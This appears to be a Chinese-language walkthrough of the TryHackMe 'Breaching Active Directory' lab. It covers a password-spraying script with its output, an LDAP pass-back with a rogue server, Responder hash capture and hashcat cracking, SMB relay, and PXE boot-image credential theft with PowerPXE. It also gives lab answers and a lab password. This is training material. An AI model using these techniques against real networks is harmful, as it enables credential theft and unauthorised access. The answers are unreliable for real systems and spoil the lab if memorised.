破坏活动目录
THM-Active Directory
https://tryhackme.com/room/breachingad
广告违规简介
大约 90% 的全球财富 1000 强公司都在使用Active Directory ( AD )。如果组织的资产使用 Microsoft Windows,则几乎可以保证找到 AD。Microsoft AD 是用于管理 Windows 域网络的主要套件。然而,由于 AD 用于整个庄园的身份和访问管理,它持有王国的钥匙,使其成为攻击者极有可能的目标。
要更深入地了解AD及其工作原理,请先完成本房间的 AD 基础知识。
破坏活动目录
在我们可以利用AD错误配置进行权限提升、横向移动和目标执行之前,您首先需要初始访问权限。您需要获取一组初始的有效 AD 凭据。由于 AD 服务和功能的数量,获取一组初始 AD 凭据的攻击面通常很重要。在这个房间里,我们将讨论几种途径,但这绝不是详尽的清单。
在查找第一组凭据时,我们不会关注与帐户关联的权限;因此,即使是低权限帐户也足够了。我们只是在寻找一种方法来对AD进行身份验证,从而允许我们对 AD 本身进行进一步的枚举。
学习目标
在此网络中,我们将介绍几种可用于破坏AD 的方法。这绝不是一个完整的列表,因为每天都会发现新的方法和技术。但是,我们将介绍以下技术来恢复此网络中的 AD 凭据:
- NTLM 认证服务
- LDAP 绑定凭证
- 认证中继
- 微软部署工具包
- 配置文件
我们可以将这些技术用于安全评估,方法是针对面向 Internet 的组织系统或在组织网络上植入流氓设备。
OSINT 和网络钓鱼
获取第一组AD凭据的两种流行方法是开源情报 (OSINT) 和网络钓鱼。我们在这里只简要提及这两种方法,因为它们已经在其他房间中进行了更深入的介绍。
开源情报
OSINT 用于发现已公开披露的信息。就AD凭据而言,发生这种情况的原因有多种,例如:
- 在Stack Overflow等公共论坛上提问但在问题中披露敏感信息(例如他们的凭据)的用户。
- 使用硬编码凭据将脚本上传到Github等服务的开发人员。
- 由于员工使用他们的工作帐户注册其他外部网站,因此在过去的违规行为中披露了凭据。HaveIBeenPwned和DeHashed等网站提供了出色的平台,可以确定某人的信息(例如工作电子邮件)是否曾参与公开的数据泄露事件。
通过使用 OSINT 技术,有可能恢复公开披露的凭据。如果我们有幸找到凭据,我们仍然需要找到一种方法来测试它们是否有效,因为 OSINT 信息可能已经过时。
网络钓鱼
网络钓鱼是另一种破坏 AD 的好方法。网络钓鱼通常会诱使用户在恶意网页上提供他们的凭据,或者要求他们运行会在后台安装远程访问木马 (RAT) 的特定应用程序。这是一种普遍的方法,因为 RAT 将在用户的上下文中执行,立即允许您模拟该用户的 AD 帐户。这就是为什么网络钓鱼对于红队和蓝队来说都是一个大话题。
NTLM 认证服务
NTLM 和 NetNTLM
新技术 LAN Manager (NTLM) 是一套安全协议,用于在AD中验证用户身份。通过使用称为 NetNTLM 的基于质询-响应的方案,NTLM 可用于身份验证。这种身份验证机制被网络上的服务大量使用。但是,使用 NetNTLM 的服务也可以暴露在互联网上。以下是一些流行的示例
- 公开 Outlook Web App (OWA) 登录门户的内部托管 Exchange (Mail) 服务器。
- 暴露于 Internet 的服务器的远程桌面协议 ( RDP ) 服务。
- 与AD集成的暴露的 VPN 端点。
- 面向 Internet 并使用 NetNTLM 的 Web 应用程序。
NetNTLM,通常也称为 Windows 身份验证或简称为 NTLM 身份验证,允许应用程序在客户端和AD之间扮演中间人的角色。所有身份验证材料都以质询的形式转发给域控制器,如果成功完成,应用程序将对用户进行身份验证。
这意味着应用程序代表用户进行身份验证,而不是直接在应用程序本身上对用户进行身份验证。这会阻止应用程序存储AD凭据,AD 凭据应该只存储在域控制器上。这个过程如下图所示:
暴力登录攻击
由于大多数AD环境都配置了帐户锁定,我们将无法运行完整的暴力攻击。相反,我们需要执行密码喷射攻击。我们选择并使用一个密码并尝试使用我们获得的所有用户名进行身份验证,而不是尝试可能触发帐户锁定机制的多个不同密码。但是,应该注意的是,由于这些类型的攻击将生成大量失败的身份验证尝试,因此可以检测到这些类型的攻击。
您已获得在红队 OSINT 练习中发现的用户名列表。OSINT 演习还表明了该组织的初始入职密码,似乎是“Changeme123”。虽然用户应该经常更改他们的初始密码,但我们知道用户经常忘记。我们将使用自定义开发的脚本针对托管在以下 URL 的 Web 应用程序进行密码喷射:http://ntlmauth.za.tryhackme.com。
导航到 URL,我们可以看到它提示我们输入 Windows 身份验证凭据:
我们可以使用诸如Hydra之类的工具来协助进行密码喷射攻击。但是,通常最好自己编写这些类型的攻击脚本,这样您就可以更好地控制流程。任务文件中提供了一个基本的 Python 脚本,可用于密码喷射攻击。以下函数是脚本的主要组成部分:
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
此函数将我们建议的密码和我们定位的 URL 作为输入,并尝试使用文本文件中的每个用户名对 URL 进行身份验证。通过监控来自应用程序的HTTP响应代码的差异,我们可以确定凭据对是否有效。如果凭证对有效,应用程序将使用 200 HTTP (OK) 代码进行响应。如果该对无效,应用程序将返回 401 HTTP(未授权)代码。
密码爆破
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
我们为每个参数提供以下值:
- <userfile> - 包含我们用户名的文本文件 - “usernames.txt”
- <fqdn> - 与我们正在攻击的组织关联的完全限定域名 - “za.tryhackme.com”
- <password> - 我们要用于喷射攻击的密码 - “Changeme123”
- <attackurl> - 支持 Windows 身份验证的应用程序的URLhttp://ntlmauth.za.tryhackme.com
使用这些参数,我们应该从密码喷射攻击中获得一些有效的凭据对。
[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found
回答以下问题
使用 NTLM 的质询-响应身份验证机制的名称是什么?
NetNtlm
密码喷射脚本找到的第三个有效凭据对的用户名是什么?
gordon.stevens
密码喷洒脚本找到了多少对有效凭证?
4
使用有效凭证对进行身份验证时,Web 应用程序显示的消息是什么?
Hello World
LDAP 绑定凭证
LDAP
应用程序可以使用的另一种AD身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。LDAP 身份验证类似于 NTLM 身份验证。但是,使用 LDAP 身份验证时,应用程序会直接验证用户的凭据。该应用程序有一对 AD 凭据,它可以首先使用它们来查询 LDAP,然后验证 AD 用户的凭据。
LDAP 身份验证是与AD集成的第三方(非 Microsoft)应用程序的流行机制。这些包括应用程序和系统,例如:
- Gitlab
- Jenkins
- Custom-developed web applications
- Printers
- VPNs
如果这些应用程序或服务中的任何一个暴露在互联网上,则可以使用与针对 NTLM 身份验证系统的攻击相同类型的攻击。但是,由于使用 LDAP 身份验证的服务需要一组AD凭据,因此它开辟了额外的攻击途径。本质上,我们可以尝试恢复服务使用的 AD 凭据以获得对 AD 的经过身份验证的访问。通过LDAP认证的过程如下图:
如果您可以在正确的主机(例如 Gitlab 服务器)上立足,那么恢复这些AD凭据可能就像读取配置文件一样简单。这些凭据通常以纯文本形式存储在配置文件中,因为安全模型依赖于保持位置和存储配置文件的安全而不是其内容。
LDAP 回传攻击
但是,可以针对 LDAP 身份验证机制执行另一种非常有趣的攻击,称为 LDAP 回传攻击。这是一种针对网络设备(例如打印机)的常见攻击,当您获得对内部网络的初始访问权限时,例如在会议室中插入流氓设备。
当我们获得对指定 LDAP 参数的设备配置的访问权限时,可以执行 LDAP 回传攻击。例如,这可以是网络打印机的 Web 界面。通常,这些接口的凭据保留为默认凭据,例如admin:admin或admin:password。在这里,我们将无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。
执行 LDAP 回传
该网络中有一台网络打印机,管理网站甚至不需要凭据。导航到http://printer.za.tryhackme.com/settings.aspx找到打印机的设置页面:
使用浏览器检查,我们还可以验证打印机网站是否至少足够安全,不只是将 LDAP 密码发送回浏览器:
所以我们有用户名,但没有密码。但是,当我们按下测试设置时,我们可以看到向域控制器发出了身份验证请求以测试 LDAP 凭据。让我们尝试利用它让打印机连接到我们,这会泄露凭据。为此,让我们使用一个简单的 Netcat 侦听器来测试我们是否可以让打印机连接到我们。由于LDAP的默认端口是389,我们可以使用如下命令:
nc -lvp 389
可以看到
┌──(root㉿kali)-[~]
└─# nc -lvnp 389
listening on [any] 389 ...
connect to [10.50.24.49] from (UNKNOWN) [10.200.26.201] 49892
0�Dc�;
x�
objectclass0�supportedCapabilities
Hosting a Rogue LDAP Server
在使用流氓 LDAP 服务器之前,我们需要通过降级支持的身份验证机制来使其易受攻击。我们要确保我们的 LDAP 服务器仅支持 PLAIN 和 LOGIN 身份验证方法。为此,我们需要创建一个新的 ldif 文件,使用以下内容调用:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
该文件具有以下属性:
- olcSaslSecProps:指定 SASL 安全属性
- noanonymous:禁用支持匿名登录的机制
- minssf:指定可接受的最小安全强度,0表示不保护。
现在我们可以使用 ldif 文件通过以下方式修补我们的 LDAP 服务器:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
我们可以使用以下命令验证我们的恶意 LDAP 服务器的配置是否已应用:
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
捕获 LDAP 凭证
我们的流氓 LDAP 服务器现已配置完毕。当我们在http://printer.za.tryhackme.com/settings.aspx单击“测试设置”时,身份验证将以明文形式进行。如果您正确配置了流氓 LDAP 服务器并且它正在降级通信,您将收到以下错误:“此专有名称包含无效语法”。如果收到此错误,您可以使用 tcpdump 通过以下命令捕获凭据:
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
现在我们有了另一组有效的AD凭据!通过使用 LDAP 回传攻击并降级受支持的身份验证机制,我们可以拦截明文形式的凭据。
认证中继
服务器消息块
服务器消息块 ( SMB ) 协议允许客户端(如工作站)与服务器(如文件共享)通信。在使用 Microsoft AD 的网络中,SMB 管理着从网络间文件共享到远程管理的一切事务。甚至当您尝试打印文档时您的计算机收到的“缺纸”警报也是 SMB 协议的工作。
然而,早期版本的SMB协议的安全性被认为是不够的。发现了多个漏洞和漏洞,可用于恢复凭据甚至在设备上执行代码。尽管其中一些漏洞已在较新版本的协议中得到解决,但组织通常不会强制使用较新版本,因为遗留系统不支持它们。我们将研究两种不同的利用 SMB 进行 NetNTLM 身份验证的方法:
- 由于NTLM Challenges可以被拦截,我们可以使用离线破解技术来恢复与NTLM Challenge相关的密码。然而,这个破解过程比直接破解 NTLM 哈希要慢得多。
- 我们可以使用我们的流氓设备进行中间人攻击,在客户端和服务器之间中继 SMB 身份验证,这将为我们提供一个活动的身份验证会话和对目标服务器的访问。
LLMNR, NBT-NS, and WPAD
Responder 允许我们通过在 NetNTLM 身份验证期间使响应中毒来执行中间人攻击,诱使客户端与您交谈,而不是他们想要连接的实际服务器。在真实的 LAN 上,Responder 将尝试毒害检测到的任何链路本地多播名称解析 (LLMNR)、NetBIOS 名称服务 (NBT-NS) 和 Web 代理自动发现 (WPAD) 请求。在大型 Windows 网络上,这些协议允许主机为同一本地网络上的所有主机执行自己的本地 DNS 解析。主机可以首先尝试通过发送 LLMNR 请求并查看是否有任何主机响应来确定他们正在寻找的主机是否在同一本地网络上,而不是使 DNS 服务器等网络资源负担过重。NBT-NS 是 LLMNR 的前身协议,
由于这些协议依赖于在本地网络上广播的请求,我们的流氓设备也会收到这些请求。通常,这些请求会被简单地丢弃,因为它们不是针对我们的主机的。但是,Responder 将主动侦听请求并发送中毒响应,告诉请求主机我们的 IP 与请求的主机名相关联。通过使这些请求中毒,Responder 试图强制客户端连接到我们的 AttackBox。在同一行中,它开始托管多个服务器,例如 SMB、HTTP、SQL 等,以捕获这些请求并强制进行身份验证。
拦截 NetNTLM 挑战
需要注意的一件事是,Responder 本质上是试图通过使连接中毒来赢得竞争条件,以确保您拦截连接。这意味着 Responder 通常仅限于在本地网络上中毒身份验证挑战。由于我们是通过 VPN 连接到网络的,因此我们只能对发生在该 VPN 网络上的身份验证挑战下毒。为此,我们模拟了一个每 30 分钟运行一次的可能被投毒的身份验证请求。这意味着您可能需要稍等片刻才能拦截 NetNTLM 质询和响应。
尽管从连接到组织 LAN 的流氓设备执行 Responder 时,Responder 能够拦截并毒化更多身份验证请求,但了解此行为可能具有破坏性并因此被检测到这一点至关重要。通过使身份验证请求中毒,正常的网络身份验证尝试将失败,这意味着用户和服务将无法连接到他们想要连接的主机和共享。在安全评估中使用 Responder 时请记住这一点。
responder -I tun0
您应该会收到一个 SMBv2 连接,Responder 可以使用它来吸引和提取 NTLMv2-SSP 响应。它看起来像这样:
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash : <Service Account Username>::ZA:<NTLMv2-SSP Hash>
尝试使用以下命令破解哈希
hashcat -m 5600 <hash file> <password file> --force
接力挑战
然而,在某些情况下,我们可以通过尝试传递挑战而不是直接捕获它来更进一步。如果事先不了解帐户,这会有点困难,因为这种攻击取决于关联帐户的权限。我们需要一些对我们有利的事情:
- SMB签名应该被禁用或启用但不强制执行。当我们执行中继时,我们对请求进行微小的更改以传递它。如果启用了 SMB 签名,我们将无法伪造消息签名,这意味着服务器会拒绝它。
- 关联帐户需要在服务器上具有相关权限才能访问所请求的资源。理想情况下,我们希望中继具有服务器管理权限的帐户的质询和响应,因为这将使我们能够在主机上获得立足点。
- 由于我们在技术上还没有AD立足点,因此需要猜测哪些帐户对哪些主机具有权限。如果我们已经攻破了 AD,我们可以先执行一些初始枚举,这通常是这种情况。
这就是盲人接力通常不受欢迎的原因。理想情况下,您首先会使用另一种方法破坏AD,然后执行枚举以确定与您已破坏的帐户关联的权限。从这里,您通常可以执行横向移动以跨域提升权限。但是,从根本上了解中继攻击的工作原理还是有好处的,如下图所示:
微软部署工具包
MDT 和 SCCM
Microsoft 部署工具包 (MDT) 是一项 Microsoft 服务,可帮助自动部署 Microsoft 操作系统 (OS)。大型组织使用 MDT 等服务来帮助更有效地在其资产中部署新映像,因为可以在中央位置维护和更新基础映像。
通常,MDT 与 Microsoft 的系统中心配置管理器 (SCCM) 集成,后者管理所有 Microsoft 应用程序、服务和操作系统的所有更新。MDT 用于新部署。本质上,它允许 IT 团队预配置和管理启动映像。因此,如果他们需要配置一台新机器,他们只需要插上一根网线,一切都会自动进行。他们可以对启动映像进行各种更改,例如已经安装了 Office365 等默认软件和组织选择的防病毒软件。它还可以确保在安装首次运行时更新新版本。
SCCM 几乎可以看作是 MDT 的扩展和老大哥。软件安装后会发生什么?好吧,SCCM 负责这种类型的补丁管理。它允许 IT 团队审查整个资产中安装的所有软件的可用更新。该团队还可以在沙盒环境中测试这些补丁,以确保它们在集中部署到所有加入域的机器之前是稳定的。它大大简化了 IT 团队的工作。
然而,任何提供基础设施集中管理的东西(如 MDT 和 SCCM)也可能成为攻击者的目标,试图接管资产中的大部分关键功能。尽管可以通过多种方式配置 MDT,但对于此任务,我们将专门关注称为预引导执行环境 (PXE) 引导的配置。
PXE 启动
大型组织使用 PXE 引导来允许连接到网络的新设备直接通过网络连接加载和安装操作系统。MDT 可用于创建、管理和托管 PXE 启动映像。PXE 引导通常与 DHCP 集成,这意味着如果 DHCP 分配 IP 租约,则允许主机请求 PXE 引导映像并启动网络操作系统安装过程。通信流程如下图所示:
执行该过程后,客户端将使用 TFTP 连接下载 PXE 引导映像。我们可以出于两个不同的目的利用 PXE 引导映像:
- 注入权限升级向量,例如本地管理员帐户,以便在 PXE 启动完成后获得对操作系统的管理访问权限。
- 执行密码抓取攻击以恢复安装期间使用的AD凭据。
PXE 引导映像检索
由于DHCP有点挑剔,我们将绕过这种攻击的初始步骤。我们将跳过尝试从 DHCP 请求 IP 和 PXE 引导预配置详细信息的部分。我们将手动执行此过程中此步骤的其余攻击。
您将通过DHCP收到的关于 PXE 引导预配置的第一条信息是 MDT 服务器的 IP。在我们的案例中,您可以从 TryHackMe 网络图中恢复该信息。
您收到的第二条信息是 BCD 文件的名称。这些文件存储与不同类型架构的 PXE 引导相关的信息。要检索此信息,您需要连接到此网站:http://pxeboot.za.tryhackme.com。它将列出各种 BCD 文件:
通常,您会使用 TFTP 请求每个 BCD 文件并枚举所有文件的配置。不过为了时间关系,我们将重点放在x64架构的BCD文件上。复制并存储此文件的全名。对于本练习的其余部分,我们将使用此名称占位符,x64{7B...B3}.bcd因为文件及其名称每天由 MDT 重新生成。每次看到此占位符时,请记住将其替换为您的特定 BCD 文件名。
有了现在从DHCP恢复的初始信息(wink wink),我们可以枚举和检索 PXE 引导映像。在接下来的几个步骤中,我们将在 THMJMP1 上使用我们的 SSH 连接,因此请使用以下方法对此 SSH 会话进行身份验证:
ssh thm@THMJMP1.za.tryhackme.com
和 的密码Password1@。
为确保网络的所有用户都可以使用 SSH,首先使用您的用户名创建一个文件夹并将 powerpxe 存储库复制到该文件夹中:
C:\Users\THM>cd Documents
C:\Users\THM\Documents> mkdir <username>
C:\Users\THM\Documents> copy C:\powerpxe <username>\
C:\Users\THM\Documents\> cd <username>
我们需要执行的第一步是使用 T FTP并下载我们的 BCD 文件以读取 MDT 服务器的配置。TFTP 比 FTP 有点棘手,因为我们不能列出文件。相反,我们发送文件请求,服务器将通过 UDP 连接回我们以传输文件。因此,我们在指定文件和文件路径时需要准确。BCD 文件始终位于 MDT 服务器上的 /Tmp/ 目录中。我们可以在 SSH 会话中使用以下命令启动 TFTP 传输:
C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
您将不得不使用 查找 THMMDT IP nslookup thmmdt.za.tryhackme.com。现在恢复 BCD 文件后,我们将使用powerpxe读取其内容。Powerpxe 是一个PowerShell脚本,可以自动执行此类攻击,但通常会产生不同的结果,因此最好执行手动方法。我们将使用powerpxe 的 Get-WimFile 函数从 BCD 文件中恢复 PXE 引导映像的位置:
C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1
PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>
<PXE Boot Image Location>
WIM 文件是 Windows 映像格式 (WIM) 的可引导映像。现在我们有了 PXE 引导映像的位置,我们可以再次使用 TFTP 下载此映像:
PS C:\Users\THM\Documents\am0> tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
Transfer successful: 341899611 bytes in 218 second(s), 1568346 bytes/s
从 PXE 引导映像恢复凭据
现在我们已经恢复了 PXE 启动映像,我们可以泄露存储的凭据。应该注意的是,我们可以进行各种攻击。我们可以注入一个本地管理员用户,这样我们就可以在映像启动后立即获得管理员访问权限,我们可以安装该映像以拥有一台加入域的机器。如果您有兴趣了解更多关于这些攻击的信息,可以阅读这篇文章。本练习将侧重于尝试窃取凭据的简单攻击。
我们将再次使用 powerpxe 来恢复凭据,但您也可以通过提取图像并查找 bootstrap.ini 文件来手动执行此步骤,这些类型的凭据通常存储在该文件中。要使用 powerpxe 从引导文件恢复凭据,请运行以下命令:
PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = <password>